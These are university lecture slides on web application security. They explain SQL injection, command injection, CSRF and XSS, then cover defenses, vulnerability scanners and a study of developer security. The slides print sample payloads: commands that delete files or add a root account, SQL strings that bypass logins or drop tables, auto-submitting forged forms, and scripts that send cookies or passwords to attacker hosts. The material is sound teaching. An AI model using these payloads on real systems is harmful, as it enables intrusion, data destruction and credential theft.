Web Application Security

* Original slides were prepared by John Mitchell
<table>
<thead>
<tr>
<th>A-1</th>
<th>Injection</th>
<th>Untrusted data is sent to an interpreter as part of a command or query.</th>
</tr>
</thead>
<tbody>
<tr>
<td>A-2</td>
<td>Authentication and Session Management</td>
<td>Attacks passwords, keys, or session tokens, or exploit other implementation flaws to assume other users’ identities.</td>
</tr>
<tr>
<td>A-3</td>
<td>Cross-site scripting</td>
<td>An application takes untrusted data and sends it to a web browser without proper validation or escaping</td>
</tr>
<tr>
<td>...</td>
<td>Various implementation problems</td>
<td>...expose a file, directory, or database key without access control check, ...misconfiguration, ...missing function-level access control</td>
</tr>
<tr>
<td>A-8</td>
<td>Cross-site request forgery</td>
<td>A logged-on victim’s browser sends a forged HTTP request, including the victim’s session cookie and other authentication information</td>
</tr>
</tbody>
</table>

https://www.owasp.org/index.php/Top_10_2013-Top_10
Three vulnerabilities we will discuss

- **SQL Injection**
  - Browser sends malicious input to server
  - Bad input checking leads to malicious SQL query

- **CSRF – Cross-site request forgery**
  - Bad web site sends browser request to good web site, using credentials of an innocent victim

- **XSS – Cross-site scripting**
  - Bad web site sends innocent victim a script that steals information from an honest web site
Three vulnerabilities we will discuss

- **SQL Injection**
  - Browser sends malicious input to server
  - Bad input checking leads to malicious SQL query
  - Uses SQL to change meaning of database command

- **CSRF – Cross-site request forgery**
  - Bad web site sends request to good web site, using credentials of an innocent victim who “visits” site
  - Leverage user’s session at victim server

- **XSS – Cross-site scripting**
  - Bad web site sends innocent victim a script that injects malicious script into trusted context
  - Inject malicious script into trusted context
Command Injection

Background for SQL Injection
General code injection attacks

- **Attack goal:** execute arbitrary code on the server
- **Example**
  - code injection based on `eval` (PHP)
  - `http://site.com/calc.php` (server side calculator)

```php
... $in = $_GET['exp'];
eval('$ans = ' . $in . ';');
... 
```

- **Attack**
  - `http://site.com/calc.php?exp=" 10 ; system('rm *.*') "` (URL encoded)
Code injection using `system()`

Example: PHP server-side code for sending email

```php
$email = $_POST["email"]
$subject = $_POST["subject"]
system("mail $email -s $subject < /tmp/joinmynetwork")
```

Attacker can post

```plaintext
http://yourdomain.com/mail.php?
email=hacker@hackerhome.net &
subject=foo < /usr/passwd; ls
```

OR

```plaintext
http://yourdomain.com/mail.php?
email=hacker@hackerhome.net&subject=foo;
echo "evil::0:0:root:/bin/sh">>/etc/passwd; ls
```
SQL Injection
Database queries with PHP
(the wrong way)

Sample PHP

```php
$recipient = $_POST['recipient'];
$sql = "SELECT PersonID FROM Person WHERE Username='$recipient"; 
$rs = $db->executeQuery($sql);
```

Problem

- What if ‘recipient’ is malicious string that changes the meaning of the query?
Basic picture: SQL Injection

1. Post malicious form
2. Unintended SQL query
3. Receive valuable data
CardSystems Attack

CardSystems
- credit card payment processing company
- SQL injection attack in June 2005
- put out of business

The Attack
- 263,000 credit card #s stolen from database
- credit card #s stored unencrypted
- 43 million credit card #s exposed
### Wordpress : Security Vulnerabilities (SQL Injection)

CVSS Scores Greater Than: 0  1  2  3  4  5  6  7  8  9
Sort Results By: Cve Number Descending  Cve Number Ascending  CVSS Score Descending  Number Of Exploits Descending

<table>
<thead>
<tr>
<th>#</th>
<th>CVE ID</th>
<th>CWE ID</th>
<th># of Exploits</th>
<th>Vulnerability Type(s)</th>
<th>Publish Date</th>
<th>Update Date</th>
<th>Score</th>
<th>Gained Access</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>CVE-2012-5350</td>
<td>89</td>
<td>1</td>
<td>Exec Code Sql</td>
<td>2012-10-09</td>
<td>2012-10-10</td>
<td>6.0</td>
<td>None</td>
</tr>
</tbody>
</table>
SQL injection vulnerability in the Pay With Tweet plugin before 1.2 for WordPress allows remote authenticated users with certain parameter in a paywithtweet shortcode.

| 2  | CVE-2011-5216 | 89     |               | Exec Code Sql         | 2012-10-25   | 2012-10-26  | 7.5   | None         |
SQL injection vulnerability in ajax.php in SCORM Cloud For WordPress plugin before 1.0.7 for WordPress allows remote attackers.
NOTE: some of these details are obtained from third party information.

| 3  | CVE-2011-4899 |        | 1             | Exec Code Sql XSS      | 2012-01-30   | 2012-01-31  | 7.5   | None         |
**DISPUTED** wp-admin/setup-config.php in the installation component in WordPress 3.3.1 and earlier does not ensure that remote attackers to configure an arbitrary database via the dbhost and dbname parameters, and subsequently conduct statis request or (2) a MySQL query. NOTE: the vendor disputes the significance of this issue; however, remote code execution may

| 4  | CVE-2011-4669 | 89     |               | Exec Code Sql         | 2011-12-02   | 2012-03-08  | 7.5   | None         |

| 5  | CVE-2011-3130 | 89     |               | Sql                   | 2011-08-10   | 2012-06-28  | 7.5   | User         |
wpm-includes/taxonomy.php in WordPress 3.1 before 3.1.3 and 3.2 before Beta 2 has unknown impact and attack vectors related

| 6  | CVE-2010-4257 | 89     |               | Exec Code Sql         | 2010-12-07   | 2011-01-19  | 6.0   | None         |
SQL injection vulnerability in the do-trackbacks function in wp-includes/comment.php in WordPress before 2.8.3 allows remote

http://www.cvedetails.com/vulnerability-list/vendor_id-2337/opsqli-1/Wordpress.html
Example: buggy login page (ASP)

```asp
set ok = execute("SELECT * FROM Users
WHERE user='" & form("user") & "'
AND pwd='" & form("pwd") & "'");

if not ok.EOF
  login success
else fail;

Is this exploitable?
```
Web Browser (Client) \[\rightarrow\] Enter Username & Password

Web Server \[\rightarrow\] SELECT * FROM Users WHERE user='me' AND pwd='1234'

DB

Normal Query
Bad input

Suppose \( \text{user} = "'or 1=1 --"" \) (URL encoded)

Then scripts does:

\[
\text{ok} = \text{execute}( \text{SELECT} \ ...
\hspace{1cm} \text{WHERE} \ \text{user} = ' ' \text{or 1=1 --} \ ...
)
\]

- The "--" causes rest of line to be ignored.
- Now \( \text{ok.EOF} \) is always false and login succeeds.

The bad news: easy login to many sites this way.
Even worse

Suppose user =
```
    '' ; DROP TABLE Users -- ''
```

Then script does:
```
ok = execute( SELECT ...
    WHERE user= '' ; DROP TABLE Users ... )
```

Deletes user table

- Similarly: attacker can add users, reset pwds, etc.
Suppose user = 
' ; exec cmdshell 

'net user badguy badpwd' / ADD -- 

Then script does: 

ok = execute( SELECT ... 

WHERE username= ' ' ; exec ... )

If SQL server context runs as “sa”, attacker gets account on DB server
Let’s see how the attack described in this cartoon works...
Preventing SQL Injection

Never build SQL commands yourself!

- Use parameterized/prepared SQL
- Use ORM framework
PHP addslashes()

- **PHP:** `addslashes(' or 1 = 1 -- ')`
  - outputs: `" ' or 1=1 -- "`

- **Unicode attack:** (GBK)
  - $user = 0x bf 27
  - addslashes ($user) → 0x bf 5c 27 → ￫￫

- **Correct implementation:** `mysql_real_escape_string()`
Parameterized/prepared SQL

- Builds SQL queries by properly escaping args: ' → \\

- Example: Parameterized SQL: (ASP.NET 1.1)
  - Ensures SQL arguments are properly escaped.

```csharp
SqlCommand cmd = new SqlCommand(
    "SELECT * FROM UserTable WHERE username = @User AND password = @Pwd",
    dbConnection);

cmd.Parameters.Add("@User", Request["user"]);
cmd.Parameters.Add("@Pwd", Request["pwd"]);

cmd.ExecuteReader();
```

- In PHP: bound parameters -- similar function
Cross Site Request Forgery
| A-1  | Injection            | Untrusted data is sent to an interpreter as part of a command or query. |
| A-2  | Authentication and Session Management | Attacks passwords, keys, or session tokens, or exploit other implementation flaws to assume other users’ identities. |
| A-3  | Cross-site scripting | An application takes untrusted data and sends it to a web browser without proper validation or escaping |
|      | Various implementation problems | ...expose a file, directory, or database key without access control check, ...misconfiguration, ...missing function level access control |
| A-8  | Cross-site request forgery | A logged-on victim’s browser sends a forged HTTP request, including the victim’s session cookie and other authentication information |
Recall: session using cookies

Browser

POST/login.cgi

Server

Set-cookie: authenticator

GET...
Cookie: authenticator

response
Basic picture

1. Establish session
2. Visit server (or iframe)
3. Receive malicious page
4. Send forged request (w/ cookie)

Q: how long do you stay logged in to Gmail? Facebook? ....
Cross Site Request Forgery (CSRF)

Example:
- User logs in to bank.com
  - Session cookie remains in browser state
- User visits another site containing:
  ```html
  <form name=F action=http://bank.com/BillPay.php>
    <input name=recipient value=badguy> ...
  <script> document.F.submit(); </script>
  ```
- Browser sends user auth cookie with request
  - Transaction will be fulfilled

Problem:
- cookie auth is insufficient when side effects occur
Form post with cookie

GET /blog HTTP/1.1

POST /transfer HTTP/1.1
Referer: http://www.attacker.com/blog
Recipient=attacker&amount=$100
Cookie: SessionID=523FA4cd2E

HTTP/1.1 200 OK
Transfer complete!
Cookieless Example: Home Router

1. configure router
2. visit site
3. receive malicious page
4. send forged request
Attack on Home Router

Fact:
- 50% of home users have broadband router with a default or no password

Drive-by Phishing attack: User visits malicious site
- JavaScript at site scans home network looking for broadband router:
  - SOP allows “send only” messages
  - Detect success using onerror:
    \[
    \text{<IMG SRC=192.168.0.1 onError = do()>}
    \]
- Once found, login to router and change DNS server

Problem: “send-only” access sufficient to reprogram router
CSRF Defenses

- Secret Validation Token

  `<input type=hidden value=23a3af01b>`

- Referer Validation

  ```
  Referer: http://www.facebook.com/home.php
  ```

- Custom HTTP Header

  ```
  X-Requested-By: XMLHttpRequest
  ```
Secret Token Validation

- Requests include a hard-to-guess secret
  - Unguessability substitutes for unforgeability

- Variations
  - Session identifier
  - Session-independent token
  - Session-dependent token
  - HMAC of session identifier
Secret Token Validation

![SliceHosting Add a Slice form]

## Add a Slice

### Slice Size
- **256 slice** $20.00/month - 10GB HD, 100GB BW
- **512 slice** $38.00/month - 20GB HD, 200GB BW
- **1GB slice** $70.00/month - 40GB HD, 400GB BW
- **2GB slice** $130.00/month - 80GB HD, 800GB BW
- **4GB slice** $250.00/month - 160GB HD, 1600GB BW
- **8GB slice** $450.00/month - 320GB HD, 2000GB BW
- **15.5GB slice** $800.00/month - 620GB HD, 2000GB BW

### System Image
- **Ubuntu 8.04.1 LTS (hardy)**

### Slice Name

Add Slice or cancel

---

**NOTE:** You will be charged a prorated amount based upon the number of days remaining in your billing cycle.
Referer Validation

Facebook Login

For your security, never enter your Facebook password on sites not located on Facebook.com.

Email: 
Password: 

[ ] Remember me

Login or Sign up for Facebook

Forgot your password?
Referer Validation Defense

- HTTP Referer header
  - Referer: http://www.facebook.com/
  - Referer: http://www.attacker.com/evil.html
  - Referer:
- Lenient Referer validation
  - Doesn't work if Referer is missing
- Strict Referer validation
  - Secure, but Referer is sometimes absent...
Referer Privacy Problems

- Referer may leak privacy-sensitive information
  

- Common sources of blocking:
  - Network stripping by the organization
  - Network stripping by local machine
  - Stripped by browser for HTTPS -> HTTP transitions
  - User preference in browser
  - Buggy user agents

- Site cannot afford to block these users
Suppression over HTTPS is low
Custom Header Defense

- XMLHttpRequest is for same-origin requests
  - Can use setRequestHeader within origin
- Limitations on data export format
  - No setRequestHeader equivalent
  - XHR2 has a whitelist for cross-site requests
- Issue POST requests via AJAX:
  - Doesn't work across domains

X-Requested-By: XMLHttpRequest
Broader view of CSRF

- Abuse of cross-site data export feature
  - From user’s browser to honest server
  - Disrupts integrity of user’s session

- Why mount a CSRF attack?
  - Network connectivity
  - Read browser state
  - Write browser state

- Not just “session riding”
Login CSRF

www.attacker.com

GET /blog HTTP/1.1

Victim Browser

POST /login HTTP/1.1
Referer: http://www.attacker.com/blog
username=attacker&password=xyzzy

HTTP/1.1 200 OK
Set-Cookie: SessionID=ZA1Fa34

GET /search?q=llamas HTTP/1.1
Cookie: SessionID=ZA1Fa34

www.google.com

Web History for attacker
Apr 7, 2008
9:20pm  Searched for llamas
Payments Login CSRF

Wow! This site is so cool! How can I show my appreciation?

Sura-Sura Kanji Quizzer is supported by banner advertisements, but you can also support Sura-Sura Kanji Quizzer via PayPal donation:

How does the quizzer choose which kanji to display?

The displayed kanji is chosen at random from among the active kanji. Special effort is taken to avoid displaying the same kanji twice in a row. It might still happen, however, if only one kanji is active.

How should I use the Sura-Sura Kanji Quizzer service?

All we ask is that you use the quizzer honestly. Bad data will make the statistics less useful.

How does the quizzer calculate the "success rate" of a user?

The formula is (Times Succeeded) / (Times Viewed). If you view a kanji but do not click the "Success" button (for example, if you click a link to some other part of the site), that counts against your success rate. Please do not worry too much about
Payments Login CSRF

PayPal is the safer, easier way to pay

PayPal securely processes payments for Kanji Quizzer. You can finish paying in a few clicks.

Why use PayPal?
Use your credit card online without exposing your card number to merchants.
Speed through checkout. No need to enter your card number or address.

Don’t have a PayPal account?
Use your credit card or bank account (where available). Continue

LOG IN TO PAYPAL

Email: collinj@cs.stanford.edu
Password: ***********

Log In
Payments Login CSRF
Login CSRF

www.attacker.com

GET /blog HTTP/1.1

<form action=https://www.google.com/login method=POST target=invisibleframe>
  <input name=username value=attacker>
  <input name=password value=xyzzy>
</form>
<script>document.forms[0].submit()</script>

POST /login HTTP/1.1
Referer: http://www.attacker.com/blog
Cookie: session_id=ZA1Fa34

HTTP/1.1 200 OK
Set-Cookie: SessionID=ZA1Fa34

GET /search?q=llamas HTTP/1.1
Cookie: SessionID=ZA1Fa34

Web History for attacker
Apr 7, 2008
9:20pm  Searched for llamas
Sites can redirect browser

Client Web Browser

Web Request

Http Status code 301/302 – Target URL Location

Redirect Web Request to Target URL Location

Web Response

Web Server
Attack on origin/referer header

What if honest site sends POST to attacker.com?

Solution: origin header records redirect
CSRF Recommendations

- **Login CSRF**
  - Strict Referer/Origin header validation
  - Login forms typically submit over HTTPS, not blocked

- **HTTPS sites, such as banking sites**
  - Use strict Referer/Origin validation to prevent CSRF

- **Other**
  - Use Ruby-on-Rails or other framework that implements secret token method correctly

- **Origin header**
  - Alternative to Referer with fewer privacy problems
  - Sent only on POST, sends only necessary data
  - Defense against redirect-based attacks
Cross Site Scripting (XSS)
Three top web site vulnerabilities

- **SQL Injection**
  - Browser sends malicious input to server
  - Bad input checking leads to malicious SQL query

- **CSRF – Cross-site request forgery**
  - Bad website sends request to good website, using credentials of an innocent victim who “visits” site

- **XSS – Cross-site scripting**
  - Bad website sends innocent victim a script that steals information from honest website

  - Attacker’s malicious code executed on victim browser
  - Attacker site forges request from victim browser to victim server
  - Attacker’s malicious code executed on victim server
Basic scenario: reflected XSS attack

1. visit web site
2. receive malicious link
3. click on link
4. echo user input
5. send valuable data
XSS example: vulnerable site

- search field on victim.com:

- Server-side implementation of search.php:

```html
<HTML>
  <TITLE> Search Results </TITLE>
  <BODY>
    Results for `<?php echo $_GET['term'] ?>` :
  
    ...
  
  </BODY>
</HTML>
```

echo search term into response
Bad input

Consider link: (properly URL encoded)

```
    <script> window.open(
        "http://badguy.com?cookie = " +
        document.cookie ) </script>
```

What if user clicks on this link?

1. Browser goes to victim.com/search.php
2. Victim.com returns

```
<HTML> Results for <script> ... </script>
```
3. Browser executes script:
   - Sends badguy.com cookie for victim.com
www.attacker.com

```
http://victim.com/search.php ?
term = <script> ... </script>
```

www.victim.com

```
<html>
Results for

< isSelected="true" class="highlight">
<script>
window.open(http://attacker.com?
... document.cookie ...)
</script>

</html>
```
What is XSS?

- An XSS vulnerability is present when an attacker can inject scripting code into pages generated by a web application.

Methods for injecting malicious code:

- Reflected XSS ("type 1")
  - the attack script is reflected back to the user as part of a page from the victim site

- Stored XSS ("type 2")
  - the attacker stores the malicious code in a resource managed by the web application, such as a database

- Others, such as DOM-based attacks
Basic scenario: reflected XSS attack

1. Collect email addr
2. send malicious email
3. click on link
4. echo user input
5. send valuable data

Email version

Attack Server

User Victim

Server Victim
2006 Example Vulnerability

- Attackers contacted users via email and fooled them into accessing a particular URL hosted on the legitimate PayPal website.
- Injected code redirected PayPal visitors to a page warning users their accounts had been compromised.
- Victims were then redirected to a phishing site and prompted to enter sensitive financial data.

Adobe PDF viewer “feature”

PDF documents execute JavaScript code

http://path/to/pdf/
file.pdf#whatever_name_you_want=javascript:code_here

The code will be executed in the context of the domain where the PDF files is hosted
This could be used against PDF files hosted on the local filesystem

Here’s how the attack works:

- Attacker locates a PDF file hosted on website.com
- Attacker creates a URL pointing to the PDF, with JavaScript Malware in the fragment portion
  
  ```
  http://website.com/path/to/file.pdf#s=javascript:alert("xss");
  ```

- Attacker entices a victim to click on the link
- If the victim has Adobe Acrobat Reader Plugin 7.0.x or less, confirmed in Firefox and Internet Explorer, the JavaScript Malware executes

Note: alert is just an example. Real attacks do something worse.
And if that doesn’t bother you...

PDF files on the local filesystem:

file:///C:/Program%20Files/Adobe/Acrobat%207.0/Resource/ENUtxt.pdf#blah=javascript:alert("XSS");

JavaScript Malware now runs in local context with the ability to read local files...
Reflected XSS attack

1. User Victim
2. Click on link
3. Echo user input
4. Send bad stuff
5. Reflect it back

- User Victim
- Attack Server
- Server Victim
Stored XSS

1. Inject malicious script
2. Request content
3. Receive malicious script
4. Steal valuable data

User Victim

Server Victim

Attack Server

Download it
MySpace.com  (Samy worm)

- Users can post HTML on their pages
  - MySpace.com ensures HTML contains no `<script>`, `<body>`, `onclick`, `<a href=javascript://>`
  - ... but can do Javascript within CSS tags:
    `<div style="background:url(\'javascript:alert(1)\')">`
    And can hide "javascript" as "java\nscript"

- With careful javascript hacking:
  - Samy worm infects anyone who visits an infected MySpace page  ...  and adds Samy as a friend.
  - Samy had millions of friends within 24 hours.

http://namb.la/popular/tech.html
Stored XSS using images

Suppose pic.jpg on web server contains HTML!

- request for http://site.com/pic.jpg results in:
  
  HTTP/1.1 200 OK
  ...
  Content-Type: image/jpeg
  
  <html> fooled ya </html>

- IE will render this as HTML (despite Content-Type)

- Consider photo sharing sites that support image uploads
  - What if attacker uploads an "image" that is a script?
DOM-based XSS (no server used)

Example page

```html
<HTML><TITLE>Welcome!</TITLE>
Hi <SCRIPT>
var pos = document.URL.indexOf("name=") + 5;
document.write(document.URL.substring(pos,document.URL.length));
</SCRIPT>
</HTML>
```

Works fine with this URL

http://www.example.com/welcome.html?name=Joe

But what about this one?

http://www.example.com/welcome.html?name=
<script>alert(document.cookie)</script>
Defenses at server

1. visit web site
2. receive malicious page
3. click on link
4. echo user input
5. send valuable data
The best way to protect against XSS attacks:

- Validates all headers, cookies, query strings, form fields, and hidden fields (i.e., all parameters) against a rigorous specification of what should be allowed.
- Do not attempt to identify active content and remove, filter, or sanitize it. There are too many types of active content and too many ways of encoding it to get around filters for such content.
- Adopt a ‘positive’ security policy that specifies what is allowed. ‘Negative’ or attack signature based policies are difficult to maintain and are likely to be incomplete.
Input data validation and filtering

Never trust client-side data
- Best: allow only what you expect

Remove/encode special characters
- Many encodings, special chars!
- E.g., long (non-standard) UTF-8 encodings
Output filtering / encoding

- Remove / encode (X)HTML special chars
  - &lt; for <, &gt; for >, &quot; for “ ... 

- Allow only safe commands (e.g., no <script>...)

- Caution: `filter evasion` tricks
  - See XSS Cheat Sheet for filter evasion
  - E.g., if filter allows quoting (of <script> etc.), use malformed quoting: <IMG """><SCRIPT>alert("XSS")...
  - Or: (long) UTF-8 encode, or...

- Caution: Scripts not only in <script>!
  - Examples in a few slides
ASP.NET output filtering

**validateRequest:** (on by default)
- Crashes page if finds `<script>` in POST data.
- Looks for hardcoded list of patterns
- Can be disabled: `<%@ Page validateRequest="false" %>`
Caution: Scripts not only in <script>!

- JavaScript as scheme in URI
  - `<img src="javascript:alert(document.cookie);"`>

- JavaScript On{event} attributes (handlers)
  - OnSubmit, OnError, OnLoad, ...

- Typical use:
  - `<img src="none" OnError="alert(document.cookie)"`>
  - `<iframe src='https://bank.com/login' onload='steal()'`>
  - `<form> action="logon.jsp" method="post"
    onsubmit="hackImg=new Image;
    hackImg.src='http://www.digicrime.com/'+document.forms(1).login.value+'
    :'+
    document.forms(1).password.value;'" </form>`
Problems with filters

- Suppose a filter removes `<script`
  - Good case
    - `<script src="..."` → `src="..."
  - But then
    - `<script src="..."` → `<script src="..."`
function RemoveXSS($val) {
  // this prevents some character re-spacing such as "<java\0script>
  $val = preg_replace('/((\x00-\x08,\x0b-\x0c,\x0e-\x19))/", $val);
  // straight replacements ... prevents strings like "<IMG SRC=\&amp;x40&amp;x61&amp;x76&amp;x61&amp;x73&amp;x63&amp;x72&amp;x69&amp;x70&amp;x74&amp;x3A
  &amp;x61&amp;x6C&amp;x65&amp;x72&amp;x74&amp;x28&amp;x27&amp;x58&amp;x57&amp;x29>
  $search = 'abcdefghijklmnopqrstuvwxyz';
  $search .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
  $search .= '1234567890!@#$%^&*()';
  $search .= '~`";?:+/={\[\]-_\|\"';
  for ($i = 0; $i < strlen($search); $i++) {
    $val = preg_replace('/(&#\[xX]0\{0,8}'.dechex(ord($search[$i])).';?)/i', $search[$i], $val);
    $val = preg_replace('/(&#0\{0,8}'.ord($search[$i]).';?)/', $search[$i], $val); // with a ;
  }
  $ra1 = Array('javascript', 'vbscript', 'expression', 'applet', ...);
  $ra2 = Array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', ...);
  $ra = array_merge($ra1, $ra2);
  $found = true; // keep replacing as long as the previous round replaced something
  while ($found == true) { ...}
  return $val;
}
But watch out for tricky cases

- Previous filter works on some input
  - Try it at http://kallahar.com/smallprojects/php_xss_filter_function.php

- But consider this

  java\&\#x09;script

  → java\&\#x09;script

  Blocked;  \&\#x09; is horizontal tab

Instead of blocking this input, it is transformed to an attack

*Need to loop and reapply filter to output until nothing found*
Advanced anti-XSS tools

- **Dynamic Data Tainting**
  - Perl taint mode

- **Static Analysis**
  - Analyze Java, PHP to determine possible flow of untrusted input
Client-side XSS defenses

- Proxy-based: analyze the HTTP traffic exchanged between user’s web browser and the target web server by scanning for special HTML characters and encoding them before executing the page on the user’s web browser.

- Application-level firewall: analyze browsed HTML pages for hyperlinks that might lead to leakage of sensitive information and stop bad requests using a set of connection rules.

- Auditing system: monitor execution of JavaScript code and compare the operations against high-level policies to detect malicious behavior.
HttpOnly Cookies

IE6 SP1, FF2.0.0.5
(not Safari?)

• Cookie sent over HTTP(s), but not accessible to scripts
  • cannot be read via document.cookie
  • Also blocks access from XMLHttpRequest headers
• Helps prevent cookie theft via XSS

... but does not stop most other risks of XSS bugs.
IE XSS Filter

What can you do at the client?

User Victim

4. echo user input

5. send valuable data

Server Victim

Attack Server

Complex problems in social network sites
Points to remember

Key concepts
- Whitelisting vs. blacklisting
- Output encoding vs. input sanitization
- Sanitizing before or after storing in database
- Dynamic versus static defense techniques

Good ideas
- Static analysis (e.g. ASP.NET has support for this)
- Taint tracking
- Framework support
- Continuous testing

Bad ideas
- Blacklisting
- Manual sanitization
Finding vulnerabilities
Survey of Web Vulnerability Tools

Local

Remote

>$100K total retail price
Example scanner UI

Security Dashboard

Device Compliance
- McAfee Secure: 100% Compliant
- PCI: 100% Compliant

Network IP Addresses
- 0% Open, Alive, Offline

Status
- Unread Alerts: 0
- Network Scans In Progress: 0
- Device Audits In Progress: 0
- Networks Pending Approval: 1

Vulnerabilities By Severity
- Low: 35
- High: 1
- Critical: 0
- Medium: 0
- 2 Medium: 0
- 4 Critical: 0

Recent Vulnerabilities
- 24 Hours: 25
- 1 Week: 20
- 1 Month: 15

Device Open Ports
- None: 5
- 6 - 10: 4
- > 20: 3
- 1 - 5: 2
- 11 - 20: 1
Test Vectors By Category

Test Vector Percentage Distribution

- Info leaks: 45%
- Configuration: 1%
- CSRF: 1%
- Session: 5%
- XCS: 5%
- SQLI: 10%
- XSS: 20%
Detecting Known Vulnerabilities

Vulnerabilities for previous versions of Drupal, phpBB2, and WordPress

<table>
<thead>
<tr>
<th>Category</th>
<th>Drupal 4.7.0</th>
<th></th>
<th>phpBB2 2.0.19</th>
<th></th>
<th>Wordpress 1.5strayhorn</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>NVD</td>
<td>Scanner</td>
<td>NVD</td>
<td>Scanner</td>
<td>NVD</td>
<td>Scanner</td>
</tr>
<tr>
<td>XSS</td>
<td>5</td>
<td>2</td>
<td>4</td>
<td>2</td>
<td>13</td>
<td>7</td>
</tr>
<tr>
<td>SQLI</td>
<td>3</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>12</td>
<td>7</td>
</tr>
<tr>
<td>XCS</td>
<td>3</td>
<td>0</td>
<td>1</td>
<td>0</td>
<td>8</td>
<td>3</td>
</tr>
<tr>
<td>Session</td>
<td>5</td>
<td>5</td>
<td>4</td>
<td>4</td>
<td>6</td>
<td>5</td>
</tr>
<tr>
<td>CSRF</td>
<td>4</td>
<td>0</td>
<td>1</td>
<td>0</td>
<td>1</td>
<td>1</td>
</tr>
<tr>
<td>Info Leak</td>
<td>4</td>
<td>3</td>
<td>1</td>
<td>1</td>
<td>5</td>
<td>4</td>
</tr>
</tbody>
</table>

Good: Info leak, Session
Decent: XSS/SQLI
Poor: XCS, CSRF (low vector count?)
Vulnerability Detection

Scanners Overall detection rate

- Malware: 0%
- Info leak: 31.2%
- Config: 32.5%
- Session: 26.5%
- SQL 2nd order: 0%
- SQL 1st order: 21.4%
- CSRF: 17.1%
- XCS: 14.4%
- XSS advance: 11.25%
- XSS type 2: 15%
- XSS type 1: 62%
Secure development
Experimental Study

What factors most strongly influence the likely security of a new web site?

- Developer training?
- Developer team and commitment?
  - freelancer vs stock options in startup?
- Programming language?
- Library, development framework?

How do we tell?

- Can we use automated tools to reliably measure security in order to answer the question above?
Approach

- Develop a web application vulnerability metric
  - Combine reports of 4 leading commercial black box vulnerability scanners and
- Evaluate vulnerability metric
  - using historical benchmarks and our new sample of applications.
- Use vulnerability metric to examine the impact of three factors on web application security:
  - startup company or freelancers
  - developer security knowledge
  - Programming language framework
Data Collection and Analysis

Evaluate 27 web applications
- from 19 Silicon Valley startups and 8 outsourcing freelancers
- using 5 programming languages.

Correlate vulnerability rate with
- Developed by startup company or freelancers
- Extent of developer security knowledge (assessed by quiz)
- Programming language used.
Comparison of scanner vulnerability detection
# Developer security self-assessment

## Quiz Categories and Question Summary

<table>
<thead>
<tr>
<th>Q</th>
<th>Category Covered</th>
<th>Summary</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>SSL Configuration</td>
<td>Why CA PKI is needed</td>
</tr>
<tr>
<td>2</td>
<td>Cryptography</td>
<td>How to securely store passwords</td>
</tr>
<tr>
<td>3</td>
<td>Phishing</td>
<td>Why SiteKeys images are used</td>
</tr>
<tr>
<td>4</td>
<td>SQL Injection</td>
<td>Using prepared statements</td>
</tr>
<tr>
<td>5</td>
<td>SSL Configuration/XSS</td>
<td>Meaning of “secure” cookies</td>
</tr>
<tr>
<td>6</td>
<td>XSS</td>
<td>Meaning of “httponly” cookies</td>
</tr>
<tr>
<td>7</td>
<td>XSS/CSRF/Phishing</td>
<td>Risks of following emailed link</td>
</tr>
<tr>
<td>8</td>
<td>Injection</td>
<td>PHP local/remote file-include</td>
</tr>
<tr>
<td>9</td>
<td>XSS</td>
<td>Passive DOM-content intro. methods</td>
</tr>
<tr>
<td>10</td>
<td>Information Disclosure</td>
<td>Risks of auto-backup (~) files</td>
</tr>
<tr>
<td>11</td>
<td>XSS/Same-origin Policy</td>
<td>Consequence of error in Applet SOP</td>
</tr>
<tr>
<td>12</td>
<td>Phishing/Clickjacking</td>
<td>Risks of being iframed</td>
</tr>
</tbody>
</table>
Language usage in sample

<table>
<thead>
<tr>
<th>Language</th>
<th>Average Lines of Code</th>
</tr>
</thead>
<tbody>
<tr>
<td>ASP</td>
<td>24,320</td>
</tr>
<tr>
<td>Java</td>
<td>14,630</td>
</tr>
<tr>
<td>PHP</td>
<td>17,020</td>
</tr>
<tr>
<td>Python</td>
<td>23,125</td>
</tr>
<tr>
<td>Ruby</td>
<td>7660</td>
</tr>
</tbody>
</table>
Summary of Results

- Security scanners are useful but not perfect
  - Tuned to current trends in web application development
  - Tool comparisons performed on single testbeds are not predictive in a statistically meaningful way
  - Combined output of several scanners is a reasonable comparative measure of code security, compared to other quantitative measures
- Based on scanner-based evaluation
  - Freelancers are more prone to introducing injection vulnerabilities than startup developers, in a statistically meaningful way
  - PHP applications have statistically significant higher rates of injection vulnerabilities than non-PHP applications; PHP applications tend not to use frameworks
  - Startup developers are more knowledgeable about cryptographic storage and same-origin policy compared to freelancers, again with statistical significance.
  - Low correlation between developer security knowledge and the vulnerability rates of their applications

Warning: don’t hire freelancers to build secure web site in PHP.
Additional solutions
Web Application Firewalls

Help prevent some attacks we discuss today:

- Cross site scripting
- SQL Injection
- Form field tampering
- Cookie poisoning

Sample products:
- Imperva
- Kavado Interdo
- F5 TrafficShield
- Citrix NetScaler
- CheckPoint Web Intel
Code checking

- Blackbox security testing services:
  - Whitehatsec.com

- Automated blackbox testing tools:
  - Cenzic, **Hailstorm**
  - Spidynamic, **WebInspect**
  - eEye, **Retina**

- Web application hardening tools:
  - WebSSARI [WWW’04] : based on information flow
  - Nguyen-Tuong [IFIP’05] : based on tainting
Summary

- **SQL Injection**
  - Bad input checking allows malicious SQL query
  - Known defenses address problem effectively

- **CSRF – Cross-site request forgery**
  - Forged request leveraging ongoing session
  - Can be prevented (if XSS problems fixed)

- **XSS – Cross-site scripting**
  - Problem stems from echoing untrusted input
  - Difficult to prevent; requires care, testing, tools, ...

- **Other server vulnerabilities**
  - Increasing knowledge embedded in frameworks, tools, application development recommendations